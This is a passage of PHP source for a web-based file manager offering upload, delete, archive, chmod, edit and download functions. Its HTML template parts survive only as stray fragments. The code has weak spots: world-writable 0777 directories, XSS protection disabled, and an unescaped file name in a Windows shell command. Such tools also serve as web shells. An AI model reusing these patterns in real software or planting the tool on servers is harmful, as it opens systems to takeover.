is_writable($targetPath) ) { $fullPath = $path . '/' . $fullPathInput; $folder = substr($fullPath, 0, strrpos($fullPath, "/")); if (!is_dir($folder)) { $old = umask(0); mkdir($folder, 0777, true); umask($old); } if (empty($f['file']['error']) and !empty($tmp_name) and $tmp_name != 'none' and $isFileAllowed) { if ($chunkTotal){ $out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab"); if ($out) { $in = @fopen($tmp_name, "rb"); if ($in) { if (PHP_VERSION_ID < 80009) { do { for (;;) { $buff = fread($in, 4096); if ($buff === false || $buff === '') { break; } fwrite($out, $buff); } } while (!feof($in)); } else { stream_copy_to_stream($in, $out); } $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream", 'errorDetails' => error_get_last() ); } @fclose($in); @fclose($out); @unlink($tmp_name); $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream" ); } if ($chunkIndex == $chunkTotal - 1) { if (file_exists ($fullPath)) { $ext_1 = $ext ? '.'.$ext : ''; $fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) .'_'. date('ymdHis'). $ext_1; } else { $fullPathTarget = $fullPath; } rename("{$fullPath}.part", $fullPathTarget); } } else { if (rename($tmp_name, $fullPath)) { if ( file_exists($fullPath) ) { $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => 'Couldn\'t upload the requested file.' ); } } else { $response = array ( 'status' => 'error', 'info' => "Error while uploading files. Uploaded files $uploads", ); } } } } else { $response = array ( 'status' => 'error', 'info' => 'The specified folder for upload isn\'t writeable.' ); } // Return the response echo json_encode($response); exit(); } if (isset($_POST['group'], $_POST['delete'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $files = $_POST['file']; if (is_array($files) and count($files)) { foreach ($files as $f) { if ($f != '') { $new_path = $path . '/' . $f; if (!fm_rdelete($new_path)) { $errors++; } } } if ($errors == 0) { fm_set_msg(lng('Selected files and folder deleted')); } else { fm_set_msg(lng('Error while deleting items'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (isset($_POST['group'], $_POST['token']) and (isset($_POST['zip']) || isset($_POST['tar'])) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; $ext = 'zip'; if (FM_PATH != '') { $path .= '/' . FM_PATH; } //set pack type $ext = isset($_POST['tar']) ? 'tar' : 'zip'; if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $files = $_POST['file']; $sanitized_files = array(); // clean path foreach($files as $file){ array_push($sanitized_files, fm_clean_path($file)); } $files = $sanitized_files; if (!empty($files)) { chdir($path); if (count($files) == 1) { $one_file = reset($files); $one_file = basename($one_file); $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext; } else { $zipname = 'archive_' . date('ymd_His') . '.'.$ext; } if($ext == 'zip') { $zipper = new FM_Zipper(); $res = $zipper->create($zipname, $files); } elseif ($ext == 'tar') { $tar = new FM_Zipper_Tar(); $res = $tar->create($zipname, $files); } if ($res) { fm_set_msg(sprintf(lng('Archive').' %s '.lng('Created'), fanco($zipname))); } else { fm_set_msg(lng('Archive not created'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Unpack zip, tar if (isset($_POST['unzip'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $unzip = urldecode($_POST['unzip']); $unzip = fm_clean_path($unzip); $unzip = str_replace('/', '', $unzip); $isValid = false; $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($unzip != '' and is_file($path . '/' . $unzip)) { $zip_path = $path . '/' . $unzip; $ext = pathinfo($zip_path, PATHINFO_EXTENSION); $isValid = true; } else { fm_set_msg(lng('File not found'), 'error'); } if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if ($isValid) { //to folder $tofolder = ''; if (isset($_POST['tofolder'])) { $tofolder = pathinfo($zip_path, PATHINFO_FILENAME); if (fm_mkdir($path . '/' . $tofolder, true)) { $path .= '/' . $tofolder; } } if($ext == "zip") { $zipper = new FM_Zipper(); $res = $zipper->unzip($zip_path, $path); } elseif ($ext == "tar") { try { $gzipper = new PharData($zip_path); if (@$gzipper->extractTo($path,null, true)) { $res = true; } else { $res = false; } } catch (Exception $e) { $res = true; } } if ($res) { fm_set_msg(lng('Archive unpacked')); } else { fm_set_msg(lng('Archive not unpacked'), 'error'); } } else { fm_set_msg(lng('File not found'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (isset($_POST['chmod'], $_POST['token']) and !FM_READONLY and !FM_IS_WIN) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $file = $_POST['chmod']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $mode = 0; if (!empty($_POST['ur'])) { $mode |= 0400; } if (!empty($_POST['uw'])) { $mode |= 0200; } if (!empty($_POST['ux'])) { $mode |= 0100; } if (!empty($_POST['gr'])) { $mode |= 0040; } if (!empty($_POST['gw'])) { $mode |= 0020; } if (!empty($_POST['gx'])) { $mode |= 0010; } if (!empty($_POST['or'])) { $mode |= 0004; } if (!empty($_POST['ow'])) { $mode |= 0002; } if (!empty($_POST['ox'])) { $mode |= 0001; } if (@chmod($path . '/' . $file, $mode)) { fm_set_msg(lng('Permissions changed')); } else { fm_set_msg(lng('Permissions not changed'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $parent = fm_get_parent_path(FM_PATH); $objects = is_readable($path) ? scandir($path) : array(); $folders = array(); $files = array(); $current_path = array_slice(explode("/",$path), -1)[0]; if (is_array($objects) and fm_is_exclude_items($current_path)) { foreach ($objects as $file) { if ($file == '.' || $file == '..') { continue; } if (!FM_SHOW_HIDDEN and substr($file, 0, 1) === '.') { continue; } $new_path = $path . '/' . $file; if (@is_file($new_path) and fm_is_exclude_items($file)) { $files[] = $file; } elseif (@is_dir($new_path) and $file != '.' and $file != '..' and fm_is_exclude_items($file)) { $folders[] = $file; } } } if (!empty($files)) { natcasesort($files); } if (!empty($folders)) { natcasesort($folders); } if (isset($_GET['upload']) and !FM_READONLY) { fm_show_header(); fm_show_nav_path(FM_PATH); function getUploadExt() { $extArr = explode(',', FM_UPLOAD_EXTENSION); if(FM_UPLOAD_EXTENSION and $extArr) { array_walk($extArr, function(&$x) {$x = ".$x";}); return implode(',', $extArr); } return ''; } ?>
' . PHP_EOL; } ?>

: , ', $copy_files) ?>

:
/

 

Copying

Source path:
Destination folder:

Copy   Move   Cancel

/>
/>
/>

""

:
File size:
MIME-type:
:
:
:
: %
'.lng('Image size').': ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '
'; } // Text info if ($is_text) { $is_utf8 = fm_is_utf8($content); if (function_exists('iconv')) { if (!$is_utf8) { $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content); } } echo ''.lng('Charset').': ' . ($is_utf8 ? 'utf-8' : '8 bit') . '
'; } ?>

 
 
     
'; } else if($online_viewer == 'microsoft') { echo ''; } } elseif ($is_zip) { // ZIP content if ($filenames !== false) { echo ''; foreach ($filenames as $fn) { if ($fn['folder']) { echo '' . fanco($fn['name']) . '
'; } else { echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')
'; } } echo '
'; } else { echo '

'.lng('Error while fetching archive info').'

'; } } elseif ($is_image) { // Image content if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) { echo '

'; } } elseif ($is_audio) { // Audio content echo '

'; } elseif ($is_video) { // Video content echo '
'; } elseif ($is_text) { if (FM_USE_HIGHLIGHTJS) { // highlight $hljs_classes = array( 'shtml' => 'xml', 'htaccess' => 'apache', 'phtml' => 'php', 'lock' => 'json', 'svg' => 'xml', ); $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext; if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) { $hljs_class = 'nohighlight'; } $content = '
' . fanco($content) . '
'; } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) { // php highlight $content = highlight_string($content, true); } else { $content = '
' . fanco($content) . '
'; } echo $content; } ?>
'. $file. '
'; header('X-XSS-Protection:0'); fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file); $file_path = $path . '/' . $file; // normal editer $isNormalEditor = true; if (isset($_GET['env'])) { if ($_GET['env'] == "ace") { $isNormalEditor = false; } } // Save File if (isset($_POST['savedata'])) { $writedata = $_POST['savedata']; $fd = fopen($file_path, "w"); @fwrite($fd, $writedata); fclose($fd); fm_set_msg(lng('File Saved Successfully')); } $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $mime_type = fm_get_mime_type($file_path); $filesize = filesize($file_path); $is_text = false; $content = ''; // for text if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) { $is_text = true; $content = file_get_contents($file_path); } ?>
' . htmlspecialchars($content) . ''; echo ''; } elseif ($is_text) { echo '
' . htmlspecialchars($content) . '
'; } else { fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error'); } ?>

:

 

'?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?> '?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?>
..
>
' . readlink($path . '/' . $f) . '' : '') ?>
">
>
' . readlink($path . '/' . $f) . '' : '') ?>
">
'.fm_get_filesize($all_files_size).'' ?> '.$num_files.'' ?> '.$num_folders.'' ?>
"; return; } echo "$external[$key]"; } function verifyToken($token) { if (hash_equals($_SESSION['token'], $token)) { return true; } return false; } /** * Delete file or folder (recursively) * @param string $path * @return bool */ function fm_rdelete($path) { if (is_link($path)) { return unlink($path); } elseif (is_dir($path)) { $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rdelete($path . '/' . $file)) { $ok = false; } } } } return ($ok) ? rmdir($path) : false; } elseif (is_file($path)) { return unlink($path); } return false; } function fm_rchmod($path, $filemode, $dirmode) { if (is_dir($path)) { if (!chmod($path, $dirmode)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) { return false; } } } } return true; } elseif (is_link($path)) { return true; } elseif (is_file($path)) { return chmod($path, $filemode); } return false; } function fm_is_valid_ext($filename) { $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false; $ext = pathinfo($filename, PATHINFO_EXTENSION); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; return ($isFileAllowed) ? true : false; } function fm_rename($old, $new) { $isFileAllowed = fm_is_valid_ext($new); if(!is_dir($old)) { if (!$isFileAllowed) return false; } return (!file_exists($new) and file_exists($old)) ? rename($old, $new) : null; } function fm_rcopy($path, $dest, $upd = true, $force = true) { if (is_dir($path)) { if (!fm_mkdir($dest, $force)) { return false; } $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) { $ok = false; } } } } return $ok; } elseif (is_file($path)) { return fm_copy($path, $dest, $upd); } return false; } function fm_mkdir($dir, $force) { if (file_exists($dir)) { if (is_dir($dir)) { return $dir; } elseif (!$force) { return false; } unlink($dir); } return mkdir($dir, 0777, true); } function fm_copy($f1, $f2, $upd) { $time1 = filemtime($f1); if (file_exists($f2)) { $time2 = filemtime($f2); if ($time2 >= $time1 and $upd) { return false; } } $ok = copy($f1, $f2); if ($ok) { touch($f2, $time1); } return $ok; } function fm_get_mime_type($file_path) { if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $file_path); finfo_close($finfo); return $mime; } elseif (function_exists('mime_content_type')) { return mime_content_type($file_path); } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) { $file = escapeshellarg($file_path); $mime = shell_exec('file -bi ' . $file); return $mime; } else { return '--'; } } function fm_redirect($url, $code = 302) { header('Location: ' . $url, true, $code); exit; } function get_absolute_path($path) { $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen'); $absolutes = array(); foreach ($parts as $part) { if ('.' == $part) continue; if ('..' == $part) { array_pop($absolutes); } else { $absolutes[] = $part; } } return implode(DIRECTORY_SEPARATOR, $absolutes); } function fm_clean_path($path, $trim = true) { $path = $trim ? trim($path) : $path; $path = trim($path, '\\/'); $path = str_replace(array('../', '..\\'), '', $path); $path = get_absolute_path($path); if ($path == '..') { $path = ''; } return str_replace('\\', '/', $path); } function fm_get_parent_path($path) { $path = fm_clean_path($path); if ($path != '') { $array = explode('/', $path); if (count($array) > 1) { $array = array_slice($array, 0, -1); return implode('/', $array); } return ''; } return false; } function fm_get_display_path($file_path) { global $path_display_mode, $root_path, $root_url; switch ($path_display_mode) { case 'relative': return array( 'label' => 'Path', 'path' => fanco(fm_convert_win(str_replace($root_path, '', $file_path))) ); case 'host': $relative_path = str_replace($root_path, '', $file_path); return array( 'label' => 'Host Path', 'path' => fanco(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/'))) ); case 'full': default: return array( 'label' => 'Full Path', 'path' => fanco(fm_convert_win($file_path)) ); } } function fm_is_exclude_items($file) { $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); if (isset($exclude_items) and sizeof($exclude_items)) { unset($exclude_items); } $exclude_items = FM_EXCLUDE_ITEMS; if (version_compare(PHP_VERSION, '7.0.0', '<')) { $exclude_items = unserialize($exclude_items); } if (!in_array($file, $exclude_items) and !in_array("*.$ext", $exclude_items)) { return true; } return false; } function fm_get_translations($tr) { try { $content = @file_get_contents('translation.json'); if($content !== FALSE) { $lng = json_decode($content, TRUE); global $lang_list; foreach ($lng["language"] as $key => $value) { $code = $value["code"]; $lang_list[$code] = $value["name"]; if ($tr) $tr[$code] = $value["translation"]; } return $tr; } } catch (Exception $e) { echo $e; } } function fm_get_size($file) { static $iswin; static $isdarwin; if (!isset($iswin)) { $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN'); } if (!isset($isdarwin)) { $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN"); } static $exec_works; if (!isset($exec_works)) { $exec_works = (function_exists('exec') and !ini_get('safe_mode') and @exec('echo EXEC') == 'EXEC'); } // try a shell command if ($exec_works) { $arg = escapeshellarg($file); $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg"); @exec($cmd, $output); if (is_array($output) and ctype_digit($size = trim(implode("\n", $output)))) { return $size; } } // try the Windows COM interface if ($iswin and class_exists("COM")) { try { $fsobj = new COM('Scripting.FileSystemObject'); $f = $fsobj->GetFile( realpath($file) ); $size = $f->Size; } catch (Exception $e) { $size = null; } if (ctype_digit($size)) { return $size; } } // if all else fails return filesize($file); } function fm_get_filesize($size) { $size = (float) $size; $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'); $power = ($size > 0) ? floor(log($size, 1024)) : 0; $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power; return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]); } function fm_get_directorysize($directory) { $bytes = 0; $directory = realpath($directory); if ($directory !== false and $directory != '' and file_exists($directory)){ foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){ $bytes += $file->getSize(); } } return $bytes; } function fm_get_zif_info($path, $ext) { if ($ext == 'zip' and function_exists('zip_open')) { $arch = @zip_open($path); if ($arch) { $filenames = array(); while ($zip_entry = @zip_read($arch)) { $zip_name = @zip_entry_name($zip_entry); $zip_folder = substr($zip_name, -1) == '/'; $filenames[] = array( 'name' => $zip_name, 'filesize' => @zip_entry_filesize($zip_entry), 'compressed_size' => @zip_entry_compressedsize($zip_entry), 'folder' => $zip_folder ); } @zip_close($arch); return $filenames; } } elseif($ext == 'tar' and class_exists('PharData')) { $archive = new PharData($path); $filenames = array(); foreach(new RecursiveIteratorIterator($archive) as $file) { $parent_info = $file->getPathInfo(); $zip_name = str_replace("ph" . "ar://".$path, '', $file->getPathName()); $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0); $zip_folder = $parent_info->getFileName(); $zip_info = new SplFileInfo($file); $filenames[] = array( 'name' => $zip_name, 'filesize' => $zip_info->getSize(), 'compressed_size' => $file->getCompressedSize(), 'folder' => $zip_folder ); } return $filenames; } return false; } function fanco($text) { return htmlspecialchars($text, ENT_QUOTES, 'UTF-8'); } function fm_isvalid_filename($text) { return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false; } function fm_set_msg($msg, $status = 'ok') { $_SESSION[DN_CESSION_ID]['message'] = $msg; $_SESSION[DN_CESSION_ID]['status'] = $status; } function fm_is_utf8($string) { return preg_match('//u', $string); } function fm_convert_win($filename) { if (FM_IS_WIN and function_exists('iconv')) { $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename); } return $filename; } function fm_object_to_array($obj) { if (!is_object($obj) and !is_array($obj)) { return $obj; } if (is_object($obj)) { $obj = get_object_vars($obj); } return array_map('fm_object_to_array', $obj); } function fm_get_file_icon_class($path) { // get extension $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); switch ($ext) { case 'ico': case 'gif': case 'jpg': case 'jpeg': case 'jpc': case 'jp2': case 'jpx': case 'xbm': case 'wbmp': case 'png': case 'bmp': case 'tif': case 'tiff': case 'webp': case 'avif': case 'svg': $img = 'fa fa-picture-o'; break; case 'passwd': case 'ftpquota': case 'sql': case 'js': case 'ts': case 'jsx': case 'tsx': case 'hbs': case 'json': case 'sh': case 'config': case 'twig': case 'tpl': case 'md': case 'gitignore': case 'c': case 'cpp': case 'cs': case 'py': case 'rs': case 'map': case 'lock': case 'dtd': $img = 'fa fa-file-code-o'; break; case 'txt': case 'ini': case 'conf': case 'log': case 'htaccess': case 'yaml': case 'yml': case 'toml': case 'tmp': case 'top': case 'bot': case 'dat': case 'bak': case 'htpasswd': case 'pl': $img = 'fa fa-file-text-o'; break; case 'css': case 'less': case 'sass': case 'scss': $img = 'fa fa-css3'; break; case 'bz2': case 'tbz2': case 'tbz': case 'zip': case 'rar': case 'gz': case 'tgz': case 'tar': case '7z': case 'xz': case 'txz': case 'zst': case 'tzst': $img = 'fa fa-file-archive-o'; break; case 'php': case 'php4': case 'php5': case 'phps': case 'phtml': $img = 'fa fa-code'; break; case 'htm': case 'html': case 'shtml': case 'xhtml': $img = 'fa fa-html5'; break; case 'xml': case 'xsl': $img = 'fa fa-file-excel-o'; break; case 'wav': case 'mp3': case 'mp2': case 'm4a': case 'aac': case 'ogg': case 'oga': case 'wma': case 'mka': case 'flac': case 'ac3': case 'tds': $img = 'fa fa-music'; break; case 'm3u': case 'm3u8': case 'pls': case 'cue': case 'xspf': $img = 'fa fa-headphones'; break; case 'avi': case 'mpg': case 'mpeg': case 'mp4': case 'm4v': case 'flv': case 'f4v': case 'ogm': case 'ogv': case 'mov': case 'mkv': case '3gp': case 'asf': case 'wmv': case 'webm': $img = 'fa fa-file-video-o'; break; case 'eml': case 'msg': $img = 'fa fa-envelope-o'; break; case 'xls': case 'xlsx': case 'ods': $img = 'fa fa-file-excel-o'; break; case 'csv': $img = 'fa fa-file-text-o'; break; case 'bak': case 'swp': $img = 'fa fa-clipboard'; break; case 'doc': case 'docx': case 'odt': $img = 'fa fa-file-word-o'; break; case 'ppt': case 'pptx': $img = 'fa fa-file-powerpoint-o'; break; case 'ttf': case 'ttc': case 'otf': case 'woff': case 'woff2': case 'eot': case 'fon': $img = 'fa fa-font'; break; case 'pdf': $img = 'fa fa-file-pdf-o'; break; case 'psd': case 'ai': case 'eps': case 'fla': case 'swf': $img = 'fa fa-file-image-o'; break; case 'exe': case 'msi': $img = 'fa fa-file-o'; break; case 'bat': $img = 'fa fa-terminal'; break; default: $img = 'fa fa-info-circle'; } return $img; } function fm_get_image_exts() { return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif'); } function fm_get_video_exts() { return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv'); } function fm_get_audio_exts() { return array('wav', 'mp3', 'ogg', 'm4a'); } function fm_get_text_exts() { return array( 'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config', 'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue', 'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift', 'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml', 'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars', 'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl' ); } function fm_get_text_mimes() { return array( 'application/xml', 'application/javascript', 'application/x-javascript', 'image/svg+xml', 'message/rfc822', 'application/json', ); } function fm_get_text_names() { return array( 'license', 'readme', 'authors', 'contributors', 'changelog', ); } function fm_get_onlineViewer_exts() { return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods'); } function fm_get_file_mimes($extension) { $fileTypes['swf'] = 'application/x-shockwave-flash'; $fileTypes['pdf'] = 'application/pdf'; $fileTypes['exe'] = 'application/octet-stream'; $fileTypes['zip'] = 'application/zip'; $fileTypes['doc'] = 'application/msword'; $fileTypes['xls'] = 'application/vnd.ms-excel'; $fileTypes['ppt'] = 'application/vnd.ms-powerpoint'; $fileTypes['gif'] = 'image/gif'; $fileTypes['png'] = 'image/png'; $fileTypes['jpeg'] = 'image/jpg'; $fileTypes['jpg'] = 'image/jpg'; $fileTypes['webp'] = 'image/webp'; $fileTypes['avif'] = 'image/avif'; $fileTypes['rar'] = 'application/rar'; $fileTypes['ra'] = 'audio/x-pn-realaudio'; $fileTypes['ram'] = 'audio/x-pn-realaudio'; $fileTypes['ogg'] = 'audio/x-pn-realaudio'; $fileTypes['wav'] = 'video/x-msvideo'; $fileTypes['wmv'] = 'video/x-msvideo'; $fileTypes['avi'] = 'video/x-msvideo'; $fileTypes['asf'] = 'video/x-msvideo'; $fileTypes['divx'] = 'video/x-msvideo'; $fileTypes['mp3'] = 'audio/mpeg'; $fileTypes['mp4'] = 'audio/mpeg'; $fileTypes['mpeg'] = 'video/mpeg'; $fileTypes['mpg'] = 'video/mpeg'; $fileTypes['mpe'] = 'video/mpeg'; $fileTypes['mov'] = 'video/quicktime'; $fileTypes['swf'] = 'video/quicktime'; $fileTypes['3gp'] = 'video/quicktime'; $fileTypes['m4a'] = 'video/quicktime'; $fileTypes['aac'] = 'video/quicktime'; $fileTypes['m3u'] = 'video/quicktime'; $fileTypes['php'] = ['application/x-php']; $fileTypes['html'] = ['text/html']; $fileTypes['txt'] = ['text/plain']; //Unknown mime-types should be 'application/octet-stream' if(empty($fileTypes[$extension])) { $fileTypes[$extension] = ['application/octet-stream']; } return $fileTypes[$extension]; } function scan($dir = '', $filter = '') { $path = FM_ROOT_PATH.'/'.$dir; if($path) { $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path)); $rii = new RegexIterator($ite, "/(" . $filter . ")/i"); $files = array(); foreach ($rii as $file) { if (!$file->isDir()) { $fileName = $file->getFilename(); $location = str_replace(FM_ROOT_PATH, '', $file->getPath()); $files[] = array( "name" => $fileName, "type" => "file", "path" => $location, ); } } return $files; } } function fm_download_file($fileLocation, $fileName, $chunkSize = 1024) { if (connection_status() != 0) return (false); $extension = pathinfo($fileName, PATHINFO_EXTENSION); $contentType = fm_get_file_mimes($extension); $size = filesize($fileLocation); if ($size == 0) { fm_set_msg(lng('Zero byte file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } @ini_set('magic_quotes_runtime', 0); $fp = fopen("$fileLocation", "rb"); if ($fp === false) { fm_set_msg(lng('Cannot open file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } // headers header('Content-Description: File Transfer'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header("Content-Transfer-Encoding: binary"); header("Content-Type: $contentType"); $contentDisposition = 'attachment'; if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) { $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1); header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } else { header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } header("Accept-Ranges: bytes"); $range = 0; if (isset($_SERVER['HTTP_RANGE'])) { list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']); str_replace($range, "-", $range); $size2 = $size - 1; $new_length = $size - $range; header("HTTP/1.1 206 Partial Content"); header("Content-Length: $new_length"); header("Content-Range: bytes $range$size2/$size"); } else { $size2 = $size - 1; header("Content-Range: bytes 0-$size2/$size"); header("Content-Length: " . $size); } $fileLocation = realpath($fileLocation); while (ob_get_level()) ob_end_clean(); readfile($fileLocation); fclose($fp); return ((connection_status() == 0) and !connection_aborted()); } function fm_get_theme() { $result = ''; if(FM_THEME == "dark") { $result = "text-white bg-dark"; } return $result; } class FM_Zipper { private $zip; public function __construct() { $this->zip = new ZipArchive(); } public function create($filename, $files) { $res = $this->zip->open($filename, ZipArchive::CREATE); if ($res !== true) { return false; } if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { $this->zip->close(); return false; } } $this->zip->close(); return true; } else { if ($this->addFileOrDir($files)) { $this->zip->close(); return true; } return false; } } public function unzip($filename, $path) { $res = $this->zip->open($filename); if ($res !== true) { return false; } if ($this->zip->extractTo($path)) { $this->zip->close(); return true; } return false; } private function addFileOrDir($filename) { if (is_file($filename)) { return $this->zip->addFile($filename); } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } private function addDir($path) { if (!$this->zip->addEmptyDir($path)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { if (!$this->zip->addFile($path . '/' . $file)) { return false; } } } } return true; } return false; } } class FM_Zipper_Tar { private $tar; public function __construct() { $this->tar = null; } public function create($filename, $files) { $this->tar = new PharData($filename); if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { return false; } } return true; } else { if ($this->addFileOrDir($files)) { return true; } return false; } } public function unzip($filename, $path) { $res = $this->tar->open($filename); if ($res !== true) { return false; } if ($this->tar->extractTo($path)) { return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { try { $this->tar->addFile($filename); return true; } catch (Exception 